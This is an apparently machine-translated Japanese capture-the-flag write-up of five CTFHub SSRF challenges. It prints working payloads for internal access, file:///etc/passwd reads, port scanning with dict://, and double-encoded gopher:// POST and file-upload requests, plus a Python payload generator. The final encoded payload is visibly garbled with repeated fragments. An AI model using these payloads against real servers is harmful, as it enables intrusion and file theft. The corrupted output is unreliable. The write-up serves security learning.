CTFHubに基づくSSRF詳細解説(前編)

     この記事ではSSRF(Server Request Forgery)について簡単に解説します。CTFHub の質問例を通じて、SSRF の基本原理、活用方法、バイパス方法などを理解してもらいます。CTFHub のアドレスは次のとおりです: CTFHub

目次

SSRF の概要

最初の質問 イントラネット アクセス

第二問 疑似プロトコル読み取りファイル

3 番目の質問ポート スキャン

質問 4 POST リクエスト 

質問 5 ファイルをアップロードする

エピローグ


SSRF の概要

多くの Web アプリケーションは、他のサーバーからデータを取得する機能を提供します。ユーザーが指定した URL を使用して、Web アプリケーションは画像の取得、ファイルのダウンロード、ファイルの内容の読み取りなどを行うことができます。この機能が悪意を持って使用されると、欠陥のある Web アプリケーションをプロキシとして使用して、リモート サーバーやローカル サーバーを攻撃する可能性があります。この形式の攻撃は、サーバー側リクエスト フォージェリと呼ばれます。
サーバー側リクエスト フォージェリ (サーバー側リクエスト フォージェリ、SSRF) とは、攻撃者がサーバーのすべてのアクセス許可を取得できなかった場合に、サーバーの脆弱性を利用して、構築されたリクエストをサーバーが配置されているイントラネットに送信することを指します。したがって、SSRF 攻撃は通常、外部ネットワークから直接アクセスできない内部システムをターゲットとします。

簡単に言うと、SSRF とは、イントラネット内のサーバー (SSRF の脆弱性がある) が攻撃者によって使用され、サーバーが配置されているイントラネットに対するデータの盗難や Web シェルのアップロードなどの攻撃の踏み台になることを意味します。SSRF の具体的な導入については、次のブログで詳しく説明しますが、ここでは主に CTFHub のトピックスを中心に説明し、これらの例を通じて SSRF の使用シナリオと攻撃回避方法をすぐに理解できるようにします。

 

最初の質問 イントラネット アクセス

 SSRFを誰にでも直感的に感じてもらうためのトピックであり、検査ポイントはURL擬似プロトコルのhttpプロトコルです。

 開くと空のページになる

 

 URL に get でパラメータ url=_ が送信されていることがわかります。タイトルでは 127.0.0.1 のフラグにアクセスしてみます。最初に http プロトコルが使用できるかどうかを試してから、http://www を追加します。 baidu.com を試してみると、Baidu にアクセスできることがわかりました。完全な URL は http://challenge-04bdf85cb29468bd.sandbox.ctfhub.com:10800/?url=http://www.baidu.com です。

 

 次に、トピックのプロンプトに従ってローカルの 127.0.0.1/flag.php にアクセスすると、フラグが直接表示されました。これは ctfhub{c43149a833198049203016f3} でした。

第二問 疑似プロトコル読み取りファイル

 

このトピックのテスト ポイントは、URL 疑似プロトコル ファイルを使用してファイルを読み取ることです。このトピックでは、ファイルが Web ディレクトリにあるというヒントが示されています。通常、Linux サーバーの Web ディレクトリは /var/www/html です。 、直接構築できます。最初の質問と同様に、質問を開くと、やはり空のインターフェイスになります。php 疑似プロトコルを使用して、Web ディレクトリ内のフラグ (url=file:///var/www/html/flag.php) を直接読み取ることができるかどうかを確認します。これを開くと、3 つの疑問符が見つかります。ページ内:

 F12 キーを押して Web ページのソース コードを確認し、フラグを取得します。ctfhub{b4bc77708335be65d75bafe3} です。

ちなみに、ファイル プロトコルを使用して、機密情報 /etc/passwd (ここでは url=file:///etc/passwd) を読み取るなど、イントラネット サーバー上の任意のファイルを検出することもできます。SSRF がいかに危険であるかを見てください。

3 番目の質問ポート スキャン

 この質問の核心は、ポート スキャンに疑似プロトコル dict:// を使用する必要があります。このプロトコルは、ソフトウェア バージョン情報、ポート、イントラネット Redis アクセスなどの操作を漏洩します。もちろん、この質問では疑似プロトコル http も使用できます。 。

 タイトルはポート範囲が 8000 ~ 9000 であることを示唆しています。まず 8000 で試して、URL に dict://127.0.0.1:8000 を入力します (http://127.0.0.1:8000 を入力することもできます)。 、下の図に示すように、予想通り、何も表示されません。

 

 どのポートが 8000 ~ 9000 の範囲にあるのかわからないため、burp を使用してパケットをキャプチャし、送信します。げっぷを開いた後にパケットをキャプチャし、右クリックして攻撃者の侵入者に送信します。ポートのみを爆破する必要があるため、スナイパーを選択するだけです

 ペイロード タイプとして値番号を選択します (From:8000 To:9000)

[攻撃の開始] をクリックし、1001 データが実行されるのを待って、返されたパケットの長さに応じて結果を並べ替えます。

 ペイロードとして8729を使用した場合のパケット長が他と異なることが分かり、これが該当ポートであると推定される。URL に http://127.0.0.1:8729 を入力し、ctfhub{6b774fbbbaee7e3122090439} というフラグを取得しました。

質問 4 POST リクエスト 

前の 3 つの質問と比較して、この質問の難易度は直線的に上昇しています。この質問のテストポイントは、URL 擬似プロトコル gopher を使用して投稿リクエストを送信することです。

 それを開いてまだ空白のページであるかどうかを確認し、http プロトコルを使用して flag.php (url=http://127.0.0.1/flag.php) にアクセスできるかどうかを確認します。

本当にあるんです!このボックスに対応する内容を入力するだけで、f12 キーを押すとソース コードが表示されます。

このキーは直接私たちに伝えられています (key=b73ccfee3cb5781edf09a058769527f5)。試して、このキーを入力して Enter を押してください。案の定、これはそれほど単純ではありません。ページがジャンプし、以下に示すように、ローカル アクセスのみがサポートされているという注意事項が表示されます。

それでは、パケットをキャプチャして変更し、すぐにホストをローカル 127.0.0.1 に変更してみますか?

 次に、上図の Host を 127.0.0.1 に変更してパッケージを配置します。案の定、それほど単純ではありません。下図のようなインターフェイスが表示されます (302 リダイレクトがトリガーされます。ソース コードにはイースターエッグがあります)。このインターフェイスですが、この質問とは関係ありません。何が問題ですか)

 

 続けてバッグを入れて前のページに戻る

この方法ではうまくいかないようですが、このとき、gopher擬似プロトコル(curlはgopherをサポートしています)を考えて、GETまたはPOSTリクエストを送信しました(セカンダリURLエンコーディングのアップロードにはHTTPプロトコルと連携する必要があります)。 gopher を使用して POST リクエストを送信し、gopher の形式は gopher://<host>:<port>/<gopher-path>_ の後に tcp ストリームが続きます。デフォルトの擬似 gopher://127.0.0.1:80 /_ の後に post リクエストが続きます。完全な gopher リクエストは次のとおりです。

gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key= b73cfcee3cb5781edf09a058769527f5

次に、それを URL エンコードします ( Python コードについては、次の質問のファイルのアップロードを参照してください)。エンコードするときに注意してください。

  1. 疑問符 (?) は URL エンコード (%3f) に変換する必要があります (この質問にはこの質問は含まれません)。
  2. 復帰と改行は %0d%0a に変更する必要がありますが、ツールを直接使用する場合は %0a しかない可能性があります。
  3. メッセージの終わりを表すために、HTTP パケットの最後に %0d%0a を追加します (具体的には、HTTP パケットの終わりを調べることができます)。

URLエンコードは何回必要ですか? この質問は 2 つのリクエストに相当します (投稿リクエスト自体は 1 回としてカウントされ、url=gopher... に入力された場合は 2 回目としてカウントされます)。そのため、2 つの URL エンコードが必要で、エンコード結果は次のようになります。

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form-urlencoded% 250d%250AContent-Length:%252036%250d%250A%250d%250Akey=b73ccfee3cb5781edf09a058769527f5%250d%250a 

以下の図に示すように、エンコードされた結果を URL に入力すると、フラグが正常に取得され、完全な URL は次のようになります。

http://challenge-a6c9f8239da7c00d.sandbox.ctfhub.com:10800/? url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:%2520127.0.0.1:80%250d%250AContent-Type:%2520application/x-www-form- urlencoded%250d%250AContent-Length:%252036%250d%250A%250d%250Akey=b73ccfee3cb5781edf09a058769527f5%250d%250a

 ちなみに、ファイル プロトコルを使用して、このトピックのソース コード flag.php と Index.php を見つけることができます (Dirserach、Yujian などでスキャンすることもできますし、以前の質問や場所に基づいて推測することもできます)は var/www/html/ です)。下の図に示すように、実際にindex.phpでcurlが使用されています。

 次の図は、flag.php のソース コードです。

質問 5 ファイルをアップロードする

 

 この質問の考え方は前の質問と同じで、gopher プロトコルを使用して対応する POST リクエストを実装していますが、この質問の POST はファイルをアップロードするように変更されています。まず flie プロトコルで flag.php をチェックします。結果は次のようになります。パスは file:///var/www/html/flag.php です。

Web ページのソースコードを表示すると、127.0.0.1 からアクセスしてファイルをアップロードすると、フラグが返されるはずです。flag.php のソースコードは次のとおりです。

以下に示すように、url=127.0.0.1/flag.php を見てみましょう。

このページには「送信」ボタンがないことがわかりましたが、問題はありません。フロントエンドは張り子の虎なので、F12 でソース コードを変更するだけで追加できます。

 それは次のようなものではないでしょうか。

次に、何気なくファイルをアップロードすると、127.0.0.1 からのみアクセスできるというメッセージが表示されます。

 

 

バッグを掴む

 ホストを 127.0.0.1 に変更しても役に立ちません。前の質問と同じです。

 gopher プロトコルはまだ使用されていると推定されており、完全なパッケージは次のとおりです。

POST /flag.php HTTP/1.1

ホスト: 127.0.0.1

受け入れる: text/html、application/xhtml+xml、application/xml;q=0.9、image/avif、image/webp、*/*;q=0.8

受け入れ言語: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip、deflate

コンテンツ タイプ: multipart/form-data; 境界=--------------------------316258355439872129751386223845

コンテンツの長さ: 354

出典: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800

接続: 閉じる

参照: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php

安全でないアップグレード要求: 1

------------------------316258355439872129751386223845

コンテンツの配置: フォームデータ; 名前 = "ファイル"; ファイル名 = "try.txt"

コンテンツタイプ: テキスト/プレーン

私はボスフランクです

------------------------316258355439872129751386223845

コンテンツの配置: フォームデータ; 名前=「ああ」

æ交查è ̄¢

------------------------316258355439872129751386223845—

このパッケージの URL を 2 回エンコードする必要があります。Python で記述するだけです。

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------316258355439872129751386223845
Content-Length: 354
Origin: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-579f71a96c646564.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------316258355439872129751386223845
Content-Disposition: form-data; name="file"; filename="try.txt"
Content-Type: text/plain

I am BossFrank
-----------------------------316258355439872129751386223845
Content-Disposition: form-data; name="aaa"

æ交æ¥è¯¢
-----------------------------316258355439872129751386223845--

"""  

#注意payload的最后一行是回车(空行),表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
new2 = urllib.parse.quote(new)
result = 'gopher://127.0.0.1:80/_'+new2
print(result)       # 这里因为是GET请求所以要进行两次url编码

 コードを実行すると、生成されたエンコード結果は次のようになります。

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/ XML%253BQ%253D0.9%252CIMAGE/AVIF%252CIMAGE/Webp%252C%252A/%252A%253BQ -TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate %250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D--------------------------------------316258355439872129751386223845%250D %250AContent-Length%253A%2520354%250D%250AOrigin%253A%2520http%253A//challenge-579f71a96c646564.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%25 0D%250Aリファラー%253A%2520http%253A/ /challenge-579f71a96c646564.sandbox.ctfhub。com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A---------- ------------------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522試してください。 txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250AI%2520am%2520BossFrank%250D%250A-------- ----------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522aaa%2522%250D%250A%250D%250A%25C3%25A6%25C2 %258F% 25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A------ ------------------------316258355439872129751386223845---%250D%250A%250D%250Aphp%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A---------------------------- 316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522try.txt%2522%250 D%250AContent-Type%253A%2520text/plain%250D% 250A%250D%250AI%2520am%2520BossFrank%250D%250A----------------------------316258355439872129751386223845%250D%250Aコンテンツ-性質% 253A%2520フォームデータ%253B%2520名前%253D%2522aaa%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%2 5C3% 25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A---------------------- ----316258355439872129751386223845--%250D%250A%250D%250Aphp%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A---------------------------- 316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522try.txt%2522%250 D%250AContent-Type%253A%2520text/plain%250D% 250A%250D%250AI%2520am%2520BossFrank%250D%250A----------------------------316258355439872129751386223845%250D%250Aコンテンツ-性質% 253A%2520フォームデータ%253B%2520名前%253D%2522aaa%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%2 5C3% 25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A---------------------- ----316258355439872129751386223845--%250D%250A%250D%250Atxt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250AI%2520am%2520BossFrank%250D%250A-------- ----------316258355439872129751386223845%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522aaa%2522%250D%250A%250D%250A%25C3%25A6%25C2 %258F% 25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A------ ------------------------316258355439872129751386223845---%250D%250A%250D%250A

最後に、この巨大なエンコード結果を URL に入力し、フラグを正常に取得します。

エピローグ

 このブログが長くなりすぎることを避けるため、後者のトピックは次のブログに置くことにしました。この記事では、主に 5 つのトピックを使用して SSRF の原理を簡単に説明し、SSRF の脆弱性を悪用する 4 つの URL 擬似プロトコル、つまり file、http、dict、gopher を紹介します。このうち最も複雑なプロトコルは gopher です。次のように:

file:// ファイル システムからファイル コンテンツを取得し、ローカル ファイルを読み取ります。
dict:// 辞書サーバー プロトコル、辞書リソースにアクセス、ポートを表示し、イントラネット Redis アクセスを操作します。
http:// イントラネット ホストの生存とポート オープンを検出します。他の Web サイトにアクセスすることで生存を判断できます
gopher:// 分散ドキュメント配信サービス、GET または POST リクエストを送信します (セカンダリ URL エンコーディングのアップロードには http プロトコルと連携する必要があります)、gopherus を使用してペイロードを生成し、FastCGI、Redis などを適用できますイントラネットへの中間ファイル ファイルへの攻撃 (次の記事の焦点)

次の記事では、CTFHub での SSRF に関する質問に詳しく回答し、フォローアップ ブログで SSRF の概要を作成します。読者の皆様もたくさん応援していただければ幸いです。

おすすめ

転載: blog.csdn.net/Bossfrank/article/details/130431117